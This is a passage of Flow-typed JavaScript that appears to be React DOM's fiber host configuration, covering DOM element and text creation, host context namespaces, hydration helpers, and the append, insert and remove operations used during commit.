'./estimateBandwidth';\n\nexport const rendererPackageName = 'react-dom';\nexport const extraDevToolsConfig = null;\n\nexport type Type = string;\nexport type Props = {\n  autoFocus?: boolean,\n  children?: mixed,\n  disabled?: boolean,\n  hidden?: boolean,\n  suppressHydrationWarning?: boolean,\n  dangerouslySetInnerHTML?: mixed,\n  style?: {\n    display?: string,\n    viewTransitionName?: string,\n    'view-transition-name'?: string,\n    viewTransitionClass?: string,\n    'view-transition-class'?: string,\n    margin?: string,\n    marginTop?: string,\n    'margin-top'?: string,\n    marginBottom?: string,\n    'margin-bottom'?: string,\n    ...\n  },\n  bottom?: null | number,\n  left?: null | number,\n  right?: null | number,\n  top?: null | number,\n  is?: string,\n  size?: number,\n  value?: string,\n  defaultValue?: string,\n  checked?: boolean,\n  defaultChecked?: boolean,\n  multiple?: boolean,\n  type?: string,\n  src?: string | Blob | MediaSource | MediaStream, // TODO: Response\n  srcSet?: string,\n  loading?: 'eager' | 'lazy',\n  onLoad?: (event: any) => void,\n  ...\n};\ntype RawProps = {\n  [string]: mixed,\n};\nexport type EventTargetChildElement = {\n  type: string,\n  props: null | {\n    style?: {\n      position?: string,\n      zIndex?: number,\n      bottom?: string,\n      left?: string,\n      right?: string,\n      top?: string,\n      ...\n    },\n    ...\n  },\n  ...\n};\n\nexport type Container =\n  | interface extends Element {_reactRootContainer?: FiberRoot}\n  | interface extends Document {_reactRootContainer?: FiberRoot}\n  | interface extends DocumentFragment {_reactRootContainer?: FiberRoot};\nexport type Instance = Element;\nexport type TextInstance = Text;\n\ntype InstanceWithFragmentHandles = Instance & {\n  reactFragments?: Set<FragmentInstanceType>,\n};\n\ndeclare class ActivityInterface extends Comment {}\ndeclare class SuspenseInterface extends Comment {\n  _reactRetry: void | (() => void);\n}\n\nexport type ActivityInstance = ActivityInterface;\nexport type SuspenseInstance = SuspenseInterface;\n\ntype FormStateMarkerInstance = Comment;\nexport type HydratableInstance =\n  | Instance\n  | TextInstance\n  | ActivityInstance\n  | SuspenseInstance\n  | FormStateMarkerInstance;\nexport type PublicInstance = Element | Text;\nexport type HostContextDev = {\n  context: HostContextProd,\n  ancestorInfo: AncestorInfoDev,\n};\ntype HostContextProd = HostContextNamespace;\nexport type HostContext = HostContextDev | HostContextProd;\nexport type UpdatePayload = Array<mixed>;\nexport type ChildSet = void; // Unused\nexport type TimeoutHandle = TimeoutID;\nexport type NoTimeout = -1;\nexport type RendererInspectionConfig = $ReadOnly<{}>;\n\nexport type TransitionStatus = FormStatus;\n\nexport type ViewTransitionInstance = {\n  name: string,\n  group: mixin$Animatable,\n  imagePair: mixin$Animatable,\n  old: mixin$Animatable,\n  new: mixin$Animatable,\n};\n\ntype SelectionInformation = {\n  focusedElem: null | HTMLElement,\n  selectionRange: mixed,\n};\n\nconst SUPPRESS_HYDRATION_WARNING = 'suppressHydrationWarning';\n\nconst ACTIVITY_START_DATA = '&';\nconst ACTIVITY_END_DATA = '/&';\nconst SUSPENSE_START_DATA = '$';\nconst SUSPENSE_END_DATA = '/$';\nconst SUSPENSE_PENDING_START_DATA = '$?';\nconst SUSPENSE_QUEUED_START_DATA = '$~';\nconst SUSPENSE_FALLBACK_START_DATA = '$!';\nconst PREAMBLE_CONTRIBUTION_HTML = 'html';\nconst PREAMBLE_CONTRIBUTION_BODY = 'body';\nconst PREAMBLE_CONTRIBUTION_HEAD = 'head';\nconst FORM_STATE_IS_MATCHING = 'F!';\nconst FORM_STATE_IS_NOT_MATCHING = 'F';\n\nconst DOCUMENT_READY_STATE_LOADING = 'loading';\n\nconst STYLE = 'style';\n\nopaque type HostContextNamespace = 0 | 1 | 2;\nexport const HostContextNamespaceNone: HostContextNamespace = 0;\nconst HostContextNamespaceSvg: HostContextNamespace = 1;\nconst HostContextNamespaceMath: HostContextNamespace = 2;\n\nlet eventsEnabled: ?boolean = null;\nlet selectionInformation: null | SelectionInformation = null;\n\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoPersistence';\n\nfunction getOwnerDocumentFromRootContainer(\n  rootContainerElement: Element | Document | DocumentFragment,\n): Document {\n  return rootContainerElement.nodeType === DOCUMENT_NODE\n    ? (rootContainerElement: any)\n    : rootContainerElement.ownerDocument;\n}\n\nexport function getRootHostContext(\n  rootContainerInstance: Container,\n): HostContext {\n  let type;\n  let context: HostContextProd;\n  const nodeType = rootContainerInstance.nodeType;\n  switch (nodeType) {\n    case DOCUMENT_NODE:\n    case DOCUMENT_FRAGMENT_NODE: {\n      type = nodeType === DOCUMENT_NODE ? '#document' : '#fragment';\n      const root = (rootContainerInstance: any).documentElement;\n      if (root) {\n        const namespaceURI = root.namespaceURI;\n        context = namespaceURI\n          ? getOwnHostContext(namespaceURI)\n          : HostContextNamespaceNone;\n      } else {\n        context = HostContextNamespaceNone;\n      }\n      break;\n    }\n    default: {\n      const container: any =\n        !disableCommentsAsDOMContainers && nodeType === COMMENT_NODE\n          ? rootContainerInstance.parentNode\n          : rootContainerInstance;\n      type = container.tagName;\n      const namespaceURI = container.namespaceURI;\n      if (!namespaceURI) {\n        switch (type) {\n          case 'svg':\n            context = HostContextNamespaceSvg;\n            break;\n          case 'math':\n            context = HostContextNamespaceMath;\n            break;\n          default:\n            context = HostContextNamespaceNone;\n            break;\n        }\n      } else {\n        const ownContext = getOwnHostContext(namespaceURI);\n        context = getChildHostContextProd(ownContext, type);\n      }\n      break;\n    }\n  }\n  if (__DEV__) {\n    const validatedTag = type.toLowerCase();\n    const ancestorInfo = updatedAncestorInfoDev(null, validatedTag);\n    return {context, ancestorInfo};\n  }\n  return context;\n}\n\nfunction getOwnHostContext(namespaceURI: string): HostContextNamespace {\n  switch (namespaceURI) {\n    case SVG_NAMESPACE:\n      return HostContextNamespaceSvg;\n    case MATH_NAMESPACE:\n      return HostContextNamespaceMath;\n    default:\n      return HostContextNamespaceNone;\n  }\n}\n\nfunction getChildHostContextProd(\n  parentNamespace: HostContextNamespace,\n  type: string,\n): HostContextNamespace {\n  if (parentNamespace === HostContextNamespaceNone) {\n    // No (or default) parent namespace: potential entry point.\n    switch (type) {\n      case 'svg':\n        return HostContextNamespaceSvg;\n      case 'math':\n        return HostContextNamespaceMath;\n      default:\n        return HostContextNamespaceNone;\n    }\n  }\n  if (parentNamespace === HostContextNamespaceSvg && type === 'foreignObject') {\n    // We're leaving SVG.\n    return HostContextNamespaceNone;\n  }\n  // By default, pass namespace below.\n  return parentNamespace;\n}\n\nexport function getChildHostContext(\n  parentHostContext: HostContext,\n  type: string,\n): HostContext {\n  if (__DEV__) {\n    const parentHostContextDev = ((parentHostContext: any): HostContextDev);\n    const context = getChildHostContextProd(parentHostContextDev.context, type);\n    const ancestorInfo = updatedAncestorInfoDev(\n      parentHostContextDev.ancestorInfo,\n      type,\n    );\n    return {context, ancestorInfo};\n  }\n  const parentNamespace = ((parentHostContext: any): HostContextProd);\n  return getChildHostContextProd(parentNamespace, type);\n}\n\nexport function getPublicInstance(instance: Instance): Instance {\n  return instance;\n}\n\nexport function prepareForCommit(containerInfo: Container): Object | null {\n  eventsEnabled = ReactBrowserEventEmitterIsEnabled();\n  selectionInformation = getSelectionInformation(containerInfo);\n  let activeInstance = null;\n  if (enableCreateEventHandleAPI) {\n    const focusedElem = selectionInformation.focusedElem;\n    if (focusedElem !== null) {\n      activeInstance = getClosestInstanceFromNode(focusedElem);\n    }\n  }\n  ReactBrowserEventEmitterSetEnabled(false);\n  return activeInstance;\n}\n\nexport function beforeActiveInstanceBlur(internalInstanceHandle: Object): void {\n  if (enableCreateEventHandleAPI) {\n    ReactBrowserEventEmitterSetEnabled(true);\n    dispatchBeforeDetachedBlur(\n      (selectionInformation: any).focusedElem,\n      internalInstanceHandle,\n    );\n    ReactBrowserEventEmitterSetEnabled(false);\n  }\n}\n\nexport function afterActiveInstanceBlur(): void {\n  if (enableCreateEventHandleAPI) {\n    ReactBrowserEventEmitterSetEnabled(true);\n    dispatchAfterDetachedBlur((selectionInformation: any).focusedElem);\n    ReactBrowserEventEmitterSetEnabled(false);\n  }\n}\n\nexport function resetAfterCommit(containerInfo: Container): void {\n  restoreSelection(selectionInformation, containerInfo);\n  ReactBrowserEventEmitterSetEnabled(eventsEnabled);\n  eventsEnabled = null;\n  selectionInformation = null;\n}\n\nexport function createHoistableInstance(\n  type: string,\n  props: Props,\n  rootContainerInstance: Container,\n  internalInstanceHandle: Object,\n): Instance {\n  const ownerDocument = getOwnerDocumentFromRootContainer(\n    rootContainerInstance,\n  );\n\n  const domElement: Instance = ownerDocument.createElement(type);\n  precacheFiberNode(internalInstanceHandle, domElement);\n  updateFiberProps(domElement, props);\n  setInitialProperties(domElement, type, props);\n  markNodeAsHoistable(domElement);\n  return domElement;\n}\n\nlet didWarnScriptTags = false;\nfunction isScriptDataBlock(props: Props): boolean {\n  const scriptType = props.type;\n  if (typeof scriptType !== 'string' || scriptType === '') {\n    return false;\n  }\n  const lower = scriptType.toLowerCase();\n  // Special non-MIME keywords recognized by the HTML spec\n  // TODO: May be fine to also not warn about having these types be parsed as \"parser-inserted\"\n  if (\n    lower === 'module' ||\n    lower === 'importmap' ||\n    lower === 'speculationrules'\n  ) {\n    return false;\n  }\n  // JavaScript MIME types per https://mimesniff.spec.whatwg.org/#javascript-mime-type\n  switch (lower) {\n    case 'application/ecmascript':\n    case 'application/javascript':\n    case 'application/x-ecmascript':\n    case 'application/x-javascript':\n    case 'text/ecmascript':\n    case 'text/javascript':\n    case 'text/javascript1.0':\n    case 'text/javascript1.1':\n    case 'text/javascript1.2':\n    case 'text/javascript1.3':\n    case 'text/javascript1.4':\n    case 'text/javascript1.5':\n    case 'text/jscript':\n    case 'text/livescript':\n    case 'text/x-ecmascript':\n    case 'text/x-javascript':\n      return false;\n  }\n  // Any other non-empty type value means this is a data block\n  return true;\n}\nconst warnedUnknownTags: {\n  [key: string]: boolean,\n} = {\n  // There are working polyfills for <dialog>. Let people use it.\n  dialog: true,\n  // Electron ships a custom <webview> tag to display external web content in\n  // an isolated frame and process.\n  // This tag is not present in non Electron environments such as JSDom which\n  // is often used for testing purposes.\n  // @see https://electronjs.org/docs/api/webview-tag\n  webview: true,\n};\n\nexport function createInstance(\n  type: string,\n  props: Props,\n  rootContainerInstance: Container,\n  hostContext: HostContext,\n  internalInstanceHandle: Object,\n): Instance {\n  let hostContextProd: HostContextProd;\n  if (__DEV__) {\n    // TODO: take namespace into account when validating.\n    const hostContextDev: HostContextDev = (hostContext: any);\n    validateDOMNesting(type, hostContextDev.ancestorInfo);\n    hostContextProd = hostContextDev.context;\n  } else {\n    hostContextProd = (hostContext: any);\n  }\n\n  const ownerDocument = getOwnerDocumentFromRootContainer(\n    rootContainerInstance,\n  );\n\n  let domElement: Instance;\n  switch (hostContextProd) {\n    case HostContextNamespaceSvg:\n      domElement = ownerDocument.createElementNS(SVG_NAMESPACE, type);\n      break;\n    case HostContextNamespaceMath:\n      domElement = ownerDocument.createElementNS(MATH_NAMESPACE, type);\n      break;\n    default:\n      switch (type) {\n        case 'svg': {\n          domElement = ownerDocument.createElementNS(SVG_NAMESPACE, type);\n          break;\n        }\n        case 'math': {\n          domElement = ownerDocument.createElementNS(MATH_NAMESPACE, type);\n          break;\n        }\n        case 'script': {\n          // Create the script via .innerHTML so its \"parser-inserted\" flag is\n          // set to true and it does not execute\n          const div = ownerDocument.createElement('div');\n          if (__DEV__) {\n            if (\n              enableTrustedTypesIntegration &&\n              !didWarnScriptTags &&\n              // Data block scripts are not executed by UAs anyway so\n              // we don't need to warn: https://html.spec.whatwg.org/multipage/scripting.html#attr-script-type\n              !isScriptDataBlock(props)\n            ) {\n              console.error(\n                'Encountered a script tag while rendering React component. ' +\n                  'Scripts inside React components are never executed when rendering ' +\n                  'on the client. Consider using template tag instead ' +\n                  '(https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template).',\n              );\n              didWarnScriptTags = true;\n            }\n          }\n          div.innerHTML = '<script><' + '/script>';\n          // This is guaranteed to yield a script element.\n          const firstChild = ((div.firstChild: any): HTMLScriptElement);\n          domElement = div.removeChild(firstChild);\n          break;\n        }\n        case 'select': {\n          if (typeof props.is === 'string') {\n            domElement = ownerDocument.createElement('select', {is: props.is});\n          } else {\n            // Separate else branch instead of using `props.is || undefined` above because of a Firefox bug.\n            // See discussion in https://github.com/facebook/react/pull/6896\n            // and discussion in https://bugzilla.mozilla.org/show_bug.cgi?id=1276240\n            domElement = ownerDocument.createElement('select');\n          }\n          if (props.multiple) {\n            domElement.multiple = true;\n          } else if (props.size) {\n            // Setting a size greater than 1 causes a select to behave like `multiple=true`, where\n            // it is possible that no option is selected.\n            //\n            // This is only necessary when a select in \"single selection mode\".\n            domElement.size = props.size;\n          }\n          break;\n        }\n        default: {\n          if (typeof props.is === 'string') {\n            domElement = ownerDocument.createElement(type, {is: props.is});\n          } else {\n            // Separate else branch instead of using `props.is || undefined` above because of a Firefox bug.\n            // See discussion in https://github.com/facebook/react/pull/6896\n            // and discussion in https://bugzilla.mozilla.org/show_bug.cgi?id=1276240\n            domElement = ownerDocument.createElement(type);\n          }\n\n          if (__DEV__) {\n            if (type.indexOf('-') === -1) {\n              // We're not SVG/MathML and we don't have a dash, so we're not a custom element\n              // Even if you use `is`, these should be of known type and lower case.\n              if (type !== type.toLowerCase()) {\n                console.error(\n                  '<%s /> is using incorrect casing. ' +\n                    'Use PascalCase for React components, ' +\n                    'or lowercase for HTML elements.',\n                  type,\n                );\n              }\n              if (\n                // $FlowFixMe[method-unbinding]\n                Object.prototype.toString.call(domElement) ===\n                  '[object HTMLUnknownElement]' &&\n                !hasOwnProperty.call(warnedUnknownTags, type)\n              ) {\n                warnedUnknownTags[type] = true;\n                console.error(\n                  'The tag <%s> is unrecognized in this browser. ' +\n                    'If you meant to render a React component, start its name with ' +\n                    'an uppercase letter.',\n                  type,\n                );\n              }\n            }\n          }\n        }\n      }\n  }\n  precacheFiberNode(internalInstanceHandle, domElement);\n  updateFiberProps(domElement, props);\n  return domElement;\n}\n\nlet didWarnForClone = false;\n\nexport function cloneMutableInstance(\n  instance: Instance,\n  keepChildren: boolean,\n): Instance {\n  if (__DEV__) {\n    // Warn for problematic\n    const tagName = instance.tagName;\n    switch (tagName) {\n      case 'VIDEO':\n      case 'IFRAME':\n        if (!didWarnForClone) {\n          didWarnForClone = true;\n          // TODO: Once we have the ability to avoid cloning the root, suggest an absolutely\n          // positioned ViewTransition instead as the solution.\n          console.warn(\n            'startGestureTransition() required cloning a <%s> element since it exists in ' +\n              'both states of the gesture. This can be problematic since it will load it twice ' +\n              'Try removing or hiding it with <Activity mode=\"offscreen\"> in the optimistic state.',\n            tagName.toLowerCase(),\n          );\n        }\n        break;\n    }\n  }\n  return instance.cloneNode(keepChildren);\n}\n\nexport function appendInitialChild(\n  parentInstance: Instance,\n  child: Instance | TextInstance,\n): void {\n  // Note: This should not use moveBefore() because initial are appended while disconnected.\n  parentInstance.appendChild(child);\n}\n\nexport function finalizeInitialChildren(\n  domElement: Instance,\n  type: string,\n  props: Props,\n  hostContext: HostContext,\n): boolean {\n  setInitialProperties(domElement, type, props);\n  switch (type) {\n    case 'button':\n    case 'input':\n    case 'select':\n    case 'textarea':\n      return !!props.autoFocus;\n    case 'img':\n      return true;\n    default:\n      return false;\n  }\n}\n\nexport function finalizeHydratedChildren(\n  domElement: Instance,\n  type: string,\n  props: Props,\n  hostContext: HostContext,\n): boolean {\n  // TOOD: Consider unifying this with hydrateInstance.\n  if (!enableHydrationChangeEvent) {\n    return false;\n  }\n  switch (type) {\n    case 'input':\n    case 'select':\n    case 'textarea':\n    case 'img':\n      return true;\n    default:\n      return false;\n  }\n}\n\nexport function shouldSetTextContent(type: string, props: Props): boolean {\n  return (\n    type === 'textarea' ||\n    type === 'noscript' ||\n    typeof props.children === 'string' ||\n    typeof props.children === 'number' ||\n    typeof props.children === 'bigint' ||\n    (typeof props.dangerouslySetInnerHTML === 'object' &&\n      props.dangerouslySetInnerHTML !== null &&\n      props.dangerouslySetInnerHTML.__html != null)\n  );\n}\n\nexport function createTextInstance(\n  text: string,\n  rootContainerInstance: Container,\n  hostContext: HostContext,\n  internalInstanceHandle: Object,\n): TextInstance {\n  if (__DEV__) {\n    const hostContextDev = ((hostContext: any): HostContextDev);\n    const ancestor = hostContextDev.ancestorInfo.current;\n    if (ancestor != null) {\n      validateTextNesting(\n        text,\n        ancestor.tag,\n        hostContextDev.ancestorInfo.implicitRootScope,\n      );\n    }\n  }\n  const textNode: TextInstance = getOwnerDocumentFromRootContainer(\n    rootContainerInstance,\n  ).createTextNode(text);\n  precacheFiberNode(internalInstanceHandle, textNode);\n  return textNode;\n}\n\nexport function cloneMutableTextInstance(\n  textInstance: TextInstance,\n): TextInstance {\n  return textInstance.cloneNode(false);\n}\n\nlet currentPopstateTransitionEvent: Event | null = null;\nexport function shouldAttemptEagerTransition(): boolean {\n  const event = window.event;\n  if (event && event.type === 'popstate') {\n    // This is a popstate event. Attempt to render any transition during this\n    // event synchronously. Unless we already attempted during this event.\n    if (event === currentPopstateTransitionEvent) {\n      // We already attempted to render this popstate transition synchronously.\n      // Any subsequent attempts must have happened as the result of a derived\n      // update, like startTransition inside useEffect, or useDV. Switch back to\n      // the default behavior for all remaining transitions during the current\n      // popstate event.\n      return false;\n    } else {\n      // Cache the current event in case a derived transition is scheduled.\n      // (Refer to previous branch.)\n      currentPopstateTransitionEvent = event;\n      return true;\n    }\n  }\n  // We're not inside a popstate event.\n  currentPopstateTransitionEvent = null;\n  return false;\n}\n\nlet schedulerEvent: void | Event = undefined;\nexport function trackSchedulerEvent(): void {\n  schedulerEvent = window.event;\n}\n\nexport function resolveEventType(): null | string {\n  const event = window.event;\n  return event && event !== schedulerEvent ? event.type : null;\n}\n\nexport function resolveEventTimeStamp(): number {\n  const event = window.event;\n  return event && event !== schedulerEvent ? event.timeStamp : -1.1;\n}\n\nexport const isPrimaryRenderer = true;\nexport const warnsIfNotActing = true;\n// This initialization code may run even on server environments\n// if a component just imports ReactDOM (e.g. for findDOMNode).\n// Some environments might not have setTimeout or clearTimeout.\nexport const scheduleTimeout: any =\n  typeof setTimeout === 'function' ? setTimeout : (undefined: any);\nexport const cancelTimeout: any =\n  typeof clearTimeout === 'function' ? clearTimeout : (undefined: any);\nexport const noTimeout: -1 = -1;\nconst localPromise = typeof Promise === 'function' ? Promise : undefined;\nconst localRequestAnimationFrame =\n  typeof requestAnimationFrame === 'function'\n    ? requestAnimationFrame\n    : scheduleTimeout;\n\nexport {getClosestInstanceFromNode as getInstanceFromNode};\n\nexport function preparePortalMount(portalInstance: Instance): void {\n  listenToAllSupportedEvents(portalInstance);\n}\n\nexport function prepareScopeUpdate(\n  scopeInstance: ReactScopeInstance,\n  internalInstanceHandle: Object,\n): void {\n  if (enableScopeAPI) {\n    precacheFiberNode(internalInstanceHandle, scopeInstance);\n  }\n}\n\nexport function getInstanceFromScope(\n  scopeInstance: ReactScopeInstance,\n): null | Object {\n  if (enableScopeAPI) {\n    return getFiberFromScopeInstance(scopeInstance);\n  }\n  return null;\n}\n\n// -------------------\n//     Microtasks\n// -------------------\nexport const supportsMicrotasks = true;\nexport const scheduleMicrotask: any =\n  typeof queueMicrotask === 'function'\n    ? queueMicrotask\n    : typeof localPromise !== 'undefined'\n      ? callback =>\n          localPromise.resolve(null).then(callback).catch(handleErrorInNextTick)\n      : scheduleTimeout; // TODO: Determine the best fallback here.\n\nfunction handleErrorInNextTick(error: any) {\n  setTimeout(() => {\n    throw error;\n  });\n}\n\n// -------------------\n//     Mutation\n// -------------------\n\nexport const supportsMutation = true;\n\nexport function commitMount(\n  domElement: Instance,\n  type: string,\n  newProps: Props,\n  internalInstanceHandle: Object,\n): void {\n  // Despite the naming that might imply otherwise, this method only\n  // fires if there is an `Update` effect scheduled during mounting.\n  // This happens if `finalizeInitialChildren` returns `true` (which it\n  // does to implement the `autoFocus` attribute on the client). But\n  // there are also other cases when this might happen (such as patching\n  // up text content during hydration mismatch). So we'll check this again.\n  switch (type) {\n    case 'button':\n    case 'input':\n    case 'select':\n    case 'textarea':\n      if (newProps.autoFocus) {\n        ((domElement: any):\n          | HTMLButtonElement\n          | HTMLInputElement\n          | HTMLSelectElement\n          | HTMLTextAreaElement).focus();\n      }\n      return;\n    case 'img': {\n      // The technique here is to assign the src or srcSet property to cause the browser\n      // to issue a new load event. If it hasn't loaded yet it'll fire whenever the load actually completes.\n      // If it has already loaded we missed it so the second load will still be the first one that executes\n      // any associated onLoad props.\n      // Even if we have srcSet we prefer to reassign src. The reason is that Firefox does not trigger a new\n      // load event when only srcSet is assigned. Chrome will trigger a load event if either is assigned so we\n      // only need to assign one. And Safari just never triggers a new load event which means this technique\n      // is already a noop regardless of which properties are assigned. We should revisit if browsers update\n      // this heuristic in the future.\n      if (newProps.src) {\n        const src = (newProps: any).src;\n        if (enableSrcObject && typeof src === 'object') {\n          // For object src, we can't just set the src again to the same blob URL because it might have\n          // already revoked if it loaded before this. However, we can create a new blob URL and set that.\n          // This is relatively cheap since the blob is already in memory but this might cause some\n          // duplicated work.\n          // TODO: We could maybe detect if load hasn't fired yet and if so reuse the URL.\n          try {\n            setSrcObject(domElement, type, src);\n            return;\n          } catch (x) {\n            // If URL.createObjectURL() errors, it was probably some other object type\n            // that should be toString:ed instead, so we just fall-through to the normal\n            // path.\n          }\n        }\n        ((domElement: any): HTMLImageElement).src = src;\n      } else if (newProps.srcSet) {\n        ((domElement: any): HTMLImageElement).srcset = (newProps: any).srcSet;\n      }\n      return;\n    }\n  }\n}\n\nexport function commitHydratedInstance(\n  domElement: Instance,\n  type: string,\n  props: Props,\n  internalInstanceHandle: Object,\n): void {\n  if (!enableHydrationChangeEvent) {\n    return;\n  }\n  // This fires in the commit phase if a hydrated instance needs to do further\n  // work in the commit phase. Similar to commitMount. However, this should not\n  // do things that would've already happened such as set auto focus since that\n  // would steal focus. It's only scheduled if finalizeHydratedChildren returns\n  // true.\n  switch (type) {\n    case 'input': {\n      hydrateInput(\n        domElement,\n        props.value,\n        props.defaultValue,\n        props.checked,\n        props.defaultChecked,\n      );\n      break;\n    }\n    case 'select': {\n      hydrateSelect(\n        domElement,\n        props.value,\n        props.defaultValue,\n        props.multiple,\n      );\n      break;\n    }\n    case 'textarea':\n      hydrateTextarea(domElement, props.value, props.defaultValue);\n      break;\n    case 'img':\n      // TODO: Should we replay onLoad events?\n      break;\n  }\n}\n\nexport function commitUpdate(\n  domElement: Instance,\n  type: string,\n  oldProps: Props,\n  newProps: Props,\n  internalInstanceHandle: Object,\n): void {\n  // Diff and update the properties.\n  updateProperties(domElement, type, oldProps, newProps);\n\n  // Update the props handle so that we know which props are the ones with\n  // with current event handlers.\n  updateFiberProps(domElement, newProps);\n}\n\nexport function resetTextContent(domElement: Instance): void {\n  setTextContent(domElement, '');\n}\n\nexport function commitTextUpdate(\n  textInstance: TextInstance,\n  oldText: string,\n  newText: string,\n): void {\n  textInstance.nodeValue = newText;\n}\n\nconst supportsMoveBefore =\n  // $FlowFixMe[prop-missing]: We're doing the feature detection here.\n  enableMoveBefore &&\n  typeof window !== 'undefined' &&\n  typeof window.Element.prototype.moveBefore === 'function';\n\nexport function appendChild(\n  parentInstance: Instance,\n  child: Instance | TextInstance,\n): void {\n  if (supportsMoveBefore && child.parentNode !== null) {\n    // $FlowFixMe[prop-missing]: We've checked this with supportsMoveBefore.\n    parentInstance.moveBefore(child, null);\n  } else {\n    parentInstance.appendChild(child);\n  }\n}\n\nfunction warnForReactChildrenConflict(container: Container): void {\n  if (__DEV__) {\n    if ((container: any).__reactWarnedAboutChildrenConflict) {\n      return;\n    }\n    const props = getFiberCurrentPropsFromNode(container);\n    if (props !== null) {\n      const fiber = getInstanceFromNode(container);\n      if (fiber !== null) {\n        if (\n          typeof props.children === 'string' ||\n          typeof props.children === 'number'\n        ) {\n          (container: any).__reactWarnedAboutChildrenConflict = true;\n          // Run the warning with the Fiber of the container for context of where the children are specified.\n          // We could also maybe use the Portal. The current execution context is the child being added.\n          runWithFiberInDEV(fiber, () => {\n            console.error(\n              'Cannot use a ref on a React element as a container to `createRoot` or `createPortal` ' +\n                'if that element also sets \"children\" text content using React. It should be a leaf with no children. ' +\n                \"Otherwise it's ambiguous which children should be used.\",\n            );\n          });\n        } else if (props.dangerouslySetInnerHTML != null) {\n          (container: any).__reactWarnedAboutChildrenConflict = true;\n          runWithFiberInDEV(fiber, () => {\n            console.error(\n              'Cannot use a ref on a React element as a container to `createRoot` or `createPortal` ' +\n                'if that element also sets \"dangerouslySetInnerHTML\" using React. It should be a leaf with no children. ' +\n                \"Otherwise it's ambiguous which children should be used.\",\n            );\n          });\n        }\n      }\n    }\n  }\n}\n\nexport function appendChildToContainer(\n  container: Container,\n  child: Instance | TextInstance,\n): void {\n  if (__DEV__) {\n    warnForReactChildrenConflict(container);\n  }\n  let parentNode: DocumentFragment | Element;\n  if (container.nodeType === DOCUMENT_NODE) {\n    parentNode = (container: any).body;\n  } else if (\n    !disableCommentsAsDOMContainers &&\n    container.nodeType === COMMENT_NODE\n  ) {\n    parentNode = (container.parentNode: any);\n    if (supportsMoveBefore && child.parentNode !== null) {\n      // $FlowFixMe[prop-missing]: We've checked this with supportsMoveBefore.\n      parentNode.moveBefore(child, container);\n    } else {\n      parentNode.insertBefore(child, container);\n    }\n    return;\n  } else if (container.nodeName === 'HTML') {\n    parentNode = (container.ownerDocument.body: any);\n  } else {\n    parentNode = (container: any);\n  }\n  if (supportsMoveBefore && child.parentNode !== null) {\n    // $FlowFixMe[prop-missing]: We've checked this with supportsMoveBefore.\n    parentNode.moveBefore(child, null);\n  } else {\n    parentNode.appendChild(child);\n  }\n\n  // This container might be used for a portal.\n  // If something inside a portal is clicked, that click should bubble\n  // through the React tree. However, on Mobile Safari the click would\n  // never bubble through the *DOM* tree unless an ancestor with onclick\n  // event exists. So we wouldn't see it and dispatch it.\n  // This is why we ensure that non React root containers have inline onclick\n  // defined.\n  // https://github.com/facebook/react/issues/11918\n  const reactRootContainer = container._reactRootContainer;\n  if (\n    (reactRootContainer === null || reactRootContainer === undefined) &&\n    parentNode.onclick === null\n  ) {\n    // TODO: This cast may not be sound for SVG, MathML or custom elements.\n    trapClickOnNonInteractiveElement(((parentNode: any): HTMLElement));\n  }\n}\n\nexport function insertBefore(\n  parentInstance: Instance,\n  child: Instance | TextInstance,\n  beforeChild: Instance | TextInstance | SuspenseInstance | ActivityInstance,\n): void {\n  if (supportsMoveBefore && child.parentNode !== null) {\n    // $FlowFixMe[prop-missing]: We've checked this with supportsMoveBefore.\n    parentInstance.moveBefore(child, beforeChild);\n  } else {\n    parentInstance.insertBefore(child, beforeChild);\n  }\n}\n\nexport function insertInContainerBefore(\n  container: Container,\n  child: Instance | TextInstance,\n  beforeChild: Instance | TextInstance | SuspenseInstance | ActivityInstance,\n): void {\n  if (__DEV__) {\n    warnForReactChildrenConflict(container);\n  }\n  let parentNode: DocumentFragment | Element;\n  if (container.nodeType === DOCUMENT_NODE) {\n    parentNode = (container: any).body;\n  } else if (\n    !disableCommentsAsDOMContainers &&\n    container.nodeType === COMMENT_NODE\n  ) {\n    parentNode = (container.parentNode: any);\n  } else if (container.nodeName === 'HTML') {\n    parentNode = (container.ownerDocument.body: any);\n  } else {\n    parentNode = (container: any);\n  }\n  if (supportsMoveBefore && child.parentNode !== null) {\n    // $FlowFixMe[prop-missing]: We've checked this with supportsMoveBefore.\n    parentNode.moveBefore(child, beforeChild);\n  } else {\n    parentNode.insertBefore(child, beforeChild);\n  }\n}\n\nexport function isSingletonScope(type: string): boolean {\n  return type === 'head';\n}\n\nfunction createEvent(type: DOMEventName, bubbles: boolean): Event {\n  const event = document.createEvent('Event');\n  event.initEvent(((type: any): string), bubbles, false);\n  return event;\n}\n\nfunction dispatchBeforeDetachedBlur(\n  target: HTMLElement,\n  internalInstanceHandle: Object,\n): void {\n  if (enableCreateEventHandleAPI) {\n    const event = createEvent('beforeblur', true);\n    // Dispatch \"beforeblur\" directly on the target,\n    // so it gets picked up by the event system and\n    // can propagate through the React internal tree.\n    // $FlowFixMe[prop-missing]: internal field\n    event._detachedInterceptFiber = internalInstanceHandle;\n    target.dispatchEvent(event);\n  }\n}\n\nfunction dispatchAfterDetachedBlur(target: HTMLElement): void {\n  if (enableCreateEventHandleAPI) {\n    const event = createEvent('afterblur', false);\n    // So we know what was detached, make the relatedTarget the\n    // detached target on the \"afterblur\" event.\n    (event: any).relatedTarget = target;\n    // Dispatch the event on the document.\n    document.dispatchEvent(event);\n  }\n}\n\nexport function removeChild(\n  parentInstance: Instance,\n  child: Instance | TextInstance | SuspenseInstance | ActivityInstance,\n): void {\n  parentInstance.removeChild(child);\n}\n\nexport function removeChildFromContainer(\n  container: Container,\n  child: Instance | TextInstance | SuspenseInstance | ActivityInstance,\n): void {\n  let parentNode: DocumentFragment | Element;\n  if (container.nodeType === DOCUMENT_NODE) {\n    parentNode = (container: any).body;\n  } else if (\n    !disableCommentsAsDOMContainers &&\n    container.nodeType === COMMENT_NODE\n  ) {\n    parentNode = (container.parentNode: any);\n  } else if (container.nodeName === 'HTML') {\n    parentNode = (container.ownerDocument.body: any);\n  } else {\n    parentNode = (container: any);\n  }\n  parentNode.removeChild(child);\n}\n\nfunction clearHydrationBoundary(\n  parentInstance: Instance,\n  hydrationInstance: SuspenseInstance | ActivityInstance,\n): void {\n  let node: Node = hydrationInstance;\n  // Delete all nodes within this suspense boundary.\n  // There might be nested nodes so we need to keep track of how\n  // deep we are and only break out when we're back on top.\n  let depth = 0;\n  do {\n    const nextNode = node.nextSibling;\n    parentInstance.removeChild(node);\n    if (nextNode && nextNode.nodeType === COMMENT_NODE) {\n      const data = ((nextNode: any).data: string);\n      if (data === SUSPENSE_END_DATA 